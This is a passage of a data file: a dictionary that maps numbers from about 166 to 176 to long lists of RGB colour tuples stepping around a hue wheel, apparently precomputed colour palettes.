200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 189, 204), (101, 185, 204), (101, 181, 204), (101, 178, 204), (101, 174, 204), (101, 170, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 156, 204), (101, 152, 204), (101, 148, 204), (101, 145, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 130, 204), (101, 126, 204), (101, 122, 204), (101, 119, 204), (101, 115, 204), (101, 111, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (110, 101, 204), (114, 101, 204), (117, 101, 204), (121, 101, 204), (125, 101, 204), (129, 101, 204), (132, 101, 204), (136, 101, 204), (140, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (176, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (195, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 194), (204, 101, 190), (204, 101, 186), (204, 101, 183), (204, 101, 179), (204, 101, 175), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 160), (204, 101, 157), (204, 101, 153), (204, 101, 149), (204, 101, 146), (204, 101, 142), (204, 101, 138), (204, 101, 135), (204, 101, 131), (204, 101, 127), (204, 101, 124), (204, 101, 120), (204, 101, 116), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 167: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 120, 101), (204, 123, 101), (204, 127, 101), (204, 131, 101), (204, 134, 101), (204, 138, 101), (204, 142, 101), (204, 145, 101), (204, 149, 101), (204, 153, 101), (204, 156, 101), (204, 160, 101), (204, 164, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 178, 101), (204, 182, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 200, 101), (203, 204, 101), (199, 204, 101), (196, 204, 101), (192, 204, 101), (188, 204, 101), (185, 204, 101), (181, 204, 101), (177, 204, 101), (174, 204, 101), (170, 204, 101), (166, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (144, 204, 101), (141, 204, 101), (137, 204, 101), (133, 204, 101), (130, 204, 101), (126, 204, 101), (122, 204, 101), (119, 204, 101), (115, 204, 101), (111, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 117), (101, 204, 121), (101, 204, 125), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 150), (101, 204, 154), (101, 204, 158), (101, 204, 161), (101, 204, 165), (101, 204, 169), (101, 204, 172), (101, 204, 176), (101, 204, 180), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 180, 204), (101, 176, 204), (101, 172, 204), (101, 169, 204), (101, 165, 204), (101, 161, 204), (101, 158, 204), (101, 154, 204), (101, 150, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (111, 101, 204), (115, 101, 204), (119, 101, 204), (122, 101, 204), (126, 101, 204), (130, 101, 204), (133, 101, 204), (137, 101, 204), (141, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (166, 101, 204), (170, 101, 204), (174, 101, 204), (177, 101, 204), (181, 101, 204), (185, 101, 204), (188, 101, 204), (192, 101, 204), (196, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 182), (204, 101, 178), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 142), (204, 101, 138), (204, 101, 134), (204, 101, 131), (204, 101, 127), (204, 101, 123), (204, 101, 120), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 168: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 120, 101), (204, 123, 101), (204, 127, 101), (204, 131, 101), (204, 134, 101), (204, 138, 101), (204, 142, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 160, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 174, 101), (204, 178, 101), (204, 182, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 196, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (196, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (145, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (120, 204, 101), (116, 204, 101), (112, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 112), (101, 204, 116), (101, 204, 120), (101, 204, 123), (101, 204, 127), (101, 204, 131), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 149), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 163), (101, 204, 167), (101, 204, 171), (101, 204, 174), (101, 204, 178), (101, 204, 182), (101, 204, 185), (101, 204, 189), (101, 204, 193), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 193, 204), (101, 189, 204), (101, 185, 204), (101, 182, 204), (101, 178, 204), (101, 174, 204), (101, 171, 204), (101, 167, 204), (101, 163, 204), (101, 160, 204), (101, 156, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 131, 204), (101, 127, 204), (101, 123, 204), (101, 120, 204), (101, 116, 204), (101, 112, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (112, 101, 204), (116, 101, 204), (120, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (134, 101, 204), (138, 101, 204), (142, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (160, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (196, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 182), (204, 101, 178), (204, 101, 174), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 160), (204, 101, 156), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 142), (204, 101, 138), (204, 101, 134), (204, 101, 131), (204, 101, 127), (204, 101, 123), (204, 101, 120), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 169: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 120, 101), (204, 123, 101), (204, 127, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 159, 101), (204, 163, 101), (204, 167, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 199, 101), (204, 203, 101), (200, 204, 101), (197, 204, 101), (193, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (143, 204, 101), (139, 204, 101), (135, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 111), (101, 204, 115), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 151), (101, 204, 155), (101, 204, 158), (101, 204, 162), (101, 204, 165), (101, 204, 169), (101, 204, 173), (101, 204, 176), (101, 204, 180), (101, 204, 184), (101, 204, 187), (101, 204, 191), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 191, 204), (101, 187, 204), (101, 184, 204), (101, 180, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 162, 204), (101, 158, 204), (101, 155, 204), (101, 151, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 115, 204), (101, 111, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (110, 101, 204), (114, 101, 204), (117, 101, 204), (121, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (161, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (190, 101, 204), (193, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 181), (204, 101, 178), (204, 101, 174), (204, 101, 170), (204, 101, 167), (204, 101, 163), (204, 101, 159), (204, 101, 156), (204, 101, 152), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 138), (204, 101, 134), (204, 101, 130), (204, 101, 127), (204, 101, 123), (204, 101, 120), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 170: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 127, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 148, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 163, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 177, 101), (204, 181, 101), (204, 184, 101), (204, 188, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (194, 204, 101), (190, 204, 101), (187, 204, 101), (183, 204, 101), (180, 204, 101), (176, 204, 101), (172, 204, 101), (169, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (133, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (115, 204, 101), (111, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 117), (101, 204, 121), (101, 204, 124), (101, 204, 128), (101, 204, 131), (101, 204, 135), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 149), (101, 204, 153), (101, 204, 157), (101, 204, 160), (101, 204, 164), (101, 204, 168), (101, 204, 171), (101, 204, 175), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 189), (101, 204, 193), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 193, 204), (101, 189, 204), (101, 186, 204), (101, 182, 204), (101, 178, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 164, 204), (101, 160, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 135, 204), (101, 131, 204), (101, 128, 204), (101, 124, 204), (101, 121, 204), (101, 117, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (111, 101, 204), (115, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (133, 101, 204), (136, 101, 204), (140, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (172, 101, 204), (176, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (190, 101, 204), (194, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 188), (204, 101, 184), (204, 101, 181), (204, 101, 177), (204, 101, 173), (204, 101, 170), (204, 101, 166), (204, 101, 163), (204, 101, 159), (204, 101, 156), (204, 101, 152), (204, 101, 148), (204, 101, 145), (204, 101, 141), (204, 101, 137), (204, 101, 134), (204, 101, 130), (204, 101, 127), (204, 101, 123), (204, 101, 119), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 171: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 127, 101), (204, 130, 101), (204, 134, 101), (204, 137, 101), (204, 141, 101), (204, 144, 101), (204, 148, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 187, 101), (204, 191, 101), (204, 195, 101), (204, 198, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (184, 204, 101), (180, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (162, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (144, 204, 101), (141, 204, 101), (137, 204, 101), (134, 204, 101), (130, 204, 101), (127, 204, 101), (123, 204, 101), (119, 204, 101), (116, 204, 101), (112, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 112), (101, 204, 116), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 137), (101, 204, 141), (101, 204, 144), (101, 204, 148), (101, 204, 152), (101, 204, 155), (101, 204, 159), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 177), (101, 204, 180), (101, 204, 184), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 184, 204), (101, 180, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 162, 204), (101, 159, 204), (101, 155, 204), (101, 152, 204), (101, 148, 204), (101, 144, 204), (101, 141, 204), (101, 137, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 119, 204), (101, 116, 204), (101, 112, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (112, 101, 204), (116, 101, 204), (119, 101, 204), (123, 101, 204), (127, 101, 204), (130, 101, 204), (134, 101, 204), (137, 101, 204), (141, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (162, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (180, 101, 204), (184, 101, 204), (187, 101, 204), (191, 101, 204), (195, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 195), (204, 101, 191), (204, 101, 187), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 162), (204, 101, 159), (204, 101, 155), (204, 101, 152), (204, 101, 148), (204, 101, 144), (204, 101, 141), (204, 101, 137), (204, 101, 134), (204, 101, 130), (204, 101, 127), (204, 101, 123), (204, 101, 119), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 172: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 137, 101), (204, 141, 101), (204, 144, 101), (204, 148, 101), (204, 151, 101), (204, 155, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 169, 101), (204, 173, 101), (204, 176, 101), (204, 180, 101), (204, 183, 101), (204, 187, 101), (204, 190, 101), (204, 194, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (195, 204, 101), (192, 204, 101), (188, 204, 101), (185, 204, 101), (181, 204, 101), (177, 204, 101), (174, 204, 101), (170, 204, 101), (167, 204, 101), (163, 204, 101), (160, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (145, 204, 101), (142, 204, 101), (138, 204, 101), (135, 204, 101), (131, 204, 101), (128, 204, 101), (124, 204, 101), (120, 204, 101), (117, 204, 101), (113, 204, 101), (110, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 111), (101, 204, 115), (101, 204, 118), (101, 204, 122), (101, 204, 125), (101, 204, 129), (101, 204, 132), (101, 204, 136), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 150), (101, 204, 154), (101, 204, 157), (101, 204, 161), (101, 204, 164), (101, 204, 168), (101, 204, 171), (101, 204, 175), (101, 204, 179), (101, 204, 182), (101, 204, 186), (101, 204, 189), (101, 204, 193), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 193, 204), (101, 189, 204), (101, 186, 204), (101, 182, 204), (101, 179, 204), (101, 175, 204), (101, 171, 204), (101, 168, 204), (101, 164, 204), (101, 161, 204), (101, 157, 204), (101, 154, 204), (101, 150, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 136, 204), (101, 132, 204), (101, 129, 204), (101, 125, 204), (101, 122, 204), (101, 118, 204), (101, 115, 204), (101, 111, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (110, 101, 204), (113, 101, 204), (117, 101, 204), (120, 101, 204), (124, 101, 204), (128, 101, 204), (131, 101, 204), (135, 101, 204), (138, 101, 204), (142, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (160, 101, 204), (163, 101, 204), (167, 101, 204), (170, 101, 204), (174, 101, 204), (177, 101, 204), (181, 101, 204), (185, 101, 204), (188, 101, 204), (192, 101, 204), (195, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 194), (204, 101, 190), (204, 101, 187), (204, 101, 183), (204, 101, 180), (204, 101, 176), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 162), (204, 101, 158), (204, 101, 155), (204, 101, 151), (204, 101, 148), (204, 101, 144), (204, 101, 141), (204, 101, 137), (204, 101, 134), (204, 101, 130), (204, 101, 126), (204, 101, 123), (204, 101, 119), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 173: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 126, 101), (204, 130, 101), (204, 133, 101), (204, 137, 101), (204, 140, 101), (204, 144, 101), (204, 147, 101), (204, 151, 101), (204, 155, 101), (204, 158, 101), (204, 162, 101), (204, 165, 101), (204, 169, 101), (204, 172, 101), (204, 176, 101), (204, 179, 101), (204, 183, 101), (204, 186, 101), (204, 190, 101), (204, 193, 101), (204, 197, 101), (204, 201, 101), (203, 204, 101), (199, 204, 101), (196, 204, 101), (192, 204, 101), (189, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (175, 204, 101), (171, 204, 101), (168, 204, 101), (164, 204, 101), (160, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (143, 204, 101), (139, 204, 101), (136, 204, 101), (132, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (111, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 110), (101, 204, 113), (101, 204, 117), (101, 204, 120), (101, 204, 124), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 149), (101, 204, 152), (101, 204, 156), (101, 204, 159), (101, 204, 163), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 177), (101, 204, 181), (101, 204, 184), (101, 204, 188), (101, 204, 191), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 191, 204), (101, 188, 204), (101, 184, 204), (101, 181, 204), (101, 177, 204), (101, 173, 204), (101, 170, 204), (101, 166, 204), (101, 163, 204), (101, 159, 204), (101, 156, 204), (101, 152, 204), (101, 149, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 124, 204), (101, 120, 204), (101, 117, 204), (101, 113, 204), (101, 110, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (111, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (132, 101, 204), (136, 101, 204), (139, 101, 204), (143, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (160, 101, 204), (164, 101, 204), (168, 101, 204), (171, 101, 204), (175, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (189, 101, 204), (192, 101, 204), (196, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 190), (204, 101, 186), (204, 101, 183), (204, 101, 179), (204, 101, 176), (204, 101, 172), (204, 101, 169), (204, 101, 165), (204, 101, 162), (204, 101, 158), (204, 101, 155), (204, 101, 151), (204, 101, 147), (204, 101, 144), (204, 101, 140), (204, 101, 137), (204, 101, 133), (204, 101, 130), (204, 101, 126), (204, 101, 123), (204, 101, 119), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 174: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 112, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 126, 101), (204, 130, 101), (204, 133, 101), (204, 137, 101), (204, 140, 101), (204, 144, 101), (204, 147, 101), (204, 151, 101), (204, 154, 101), (204, 158, 101), (204, 161, 101), (204, 165, 101), (204, 168, 101), (204, 172, 101), (204, 175, 101), (204, 179, 101), (204, 182, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 196, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (196, 204, 101), (193, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (165, 204, 101), (161, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (144, 204, 101), (140, 204, 101), (137, 204, 101), (133, 204, 101), (130, 204, 101), (126, 204, 101), (123, 204, 101), (119, 204, 101), (116, 204, 101), (112, 204, 101), (109, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 112), (101, 204, 116), (101, 204, 119), (101, 204, 123), (101, 204, 126), (101, 204, 130), (101, 204, 133), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 151), (101, 204, 154), (101, 204, 158), (101, 204, 161), (101, 204, 165), (101, 204, 168), (101, 204, 172), (101, 204, 175), (101, 204, 179), (101, 204, 182), (101, 204, 186), (101, 204, 189), (101, 204, 193), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 193, 204), (101, 189, 204), (101, 186, 204), (101, 182, 204), (101, 179, 204), (101, 175, 204), (101, 172, 204), (101, 168, 204), (101, 165, 204), (101, 161, 204), (101, 158, 204), (101, 154, 204), (101, 151, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 133, 204), (101, 130, 204), (101, 126, 204), (101, 123, 204), (101, 119, 204), (101, 116, 204), (101, 112, 204), (101, 109, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (109, 101, 204), (112, 101, 204), (116, 101, 204), (119, 101, 204), (123, 101, 204), (126, 101, 204), (130, 101, 204), (133, 101, 204), (137, 101, 204), (140, 101, 204), (144, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (161, 101, 204), (165, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (193, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 196), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 182), (204, 101, 179), (204, 101, 175), (204, 101, 172), (204, 101, 168), (204, 101, 165), (204, 101, 161), (204, 101, 158), (204, 101, 154), (204, 101, 151), (204, 101, 147), (204, 101, 144), (204, 101, 140), (204, 101, 137), (204, 101, 133), (204, 101, 130), (204, 101, 126), (204, 101, 123), (204, 101, 119), (204, 101, 116), (204, 101, 112), (204, 101, 109), (204, 101, 105)], 175: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 119, 101), (204, 122, 101), (204, 126, 101), (204, 129, 101), (204, 133, 101), (204, 136, 101), (204, 140, 101), (204, 143, 101), (204, 147, 101), (204, 150, 101), (204, 154, 101), (204, 157, 101), (204, 161, 101), (204, 164, 101), (204, 168, 101), (204, 171, 101), (204, 175, 101), (204, 178, 101), (204, 182, 101), (204, 185, 101), (204, 189, 101), (204, 192, 101), (204, 196, 101), (204, 199, 101), (204, 203, 101), (201, 204, 101), (197, 204, 101), (194, 204, 101), (190, 204, 101), (187, 204, 101), (183, 204, 101), (180, 204, 101), (176, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (162, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (145, 204, 101), (141, 204, 101), (138, 204, 101), (134, 204, 101), (131, 204, 101), (127, 204, 101), (124, 204, 101), (120, 204, 101), (117, 204, 101), (113, 204, 101), (110, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 111), (101, 204, 114), (101, 204, 118), (101, 204, 121), (101, 204, 125), (101, 204, 128), (101, 204, 132), (101, 204, 135), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 149), (101, 204, 153), (101, 204, 156), (101, 204, 160), (101, 204, 163), (101, 204, 167), (101, 204, 170), (101, 204, 174), (101, 204, 177), (101, 204, 181), (101, 204, 184), (101, 204, 188), (101, 204, 191), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 191, 204), (101, 188, 204), (101, 184, 204), (101, 181, 204), (101, 177, 204), (101, 174, 204), (101, 170, 204), (101, 167, 204), (101, 163, 204), (101, 160, 204), (101, 156, 204), (101, 153, 204), (101, 149, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 135, 204), (101, 132, 204), (101, 128, 204), (101, 125, 204), (101, 121, 204), (101, 118, 204), (101, 114, 204), (101, 111, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (110, 101, 204), (113, 101, 204), (117, 101, 204), (120, 101, 204), (124, 101, 204), (127, 101, 204), (131, 101, 204), (134, 101, 204), (138, 101, 204), (141, 101, 204), (145, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (162, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (176, 101, 204), (180, 101, 204), (183, 101, 204), (187, 101, 204), (190, 101, 204), (194, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 196), (204, 101, 192), (204, 101, 189), (204, 101, 185), (204, 101, 182), (204, 101, 178), (204, 101, 175), (204, 101, 171), (204, 101, 168), (204, 101, 164), (204, 101, 161), (204, 101, 157), (204, 101, 154), (204, 101, 150), (204, 101, 147), (204, 101, 143), (204, 101, 140), (204, 101, 136), (204, 101, 133), (204, 101, 129), (204, 101, 126), (204, 101, 122), (204, 101, 119), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 176: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 119, 101), (204, 122, 101), (204, 126, 101), (204, 129, 101), (204, 133, 101), (204, 136, 101), (204, 140, 101), (204, 143, 101), (204, 147, 101), (204, 150, 101), (204, 154, 101), (204, 157, 101), (204, 161, 101), (204, 164, 101), (204, 168, 101), (204, 171, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 195, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (194, 204, 101), (191, 204, 101), (187, 204, 101), (184, 204, 101), (180, 204, 101), (177, 204, 101), (173, 204, 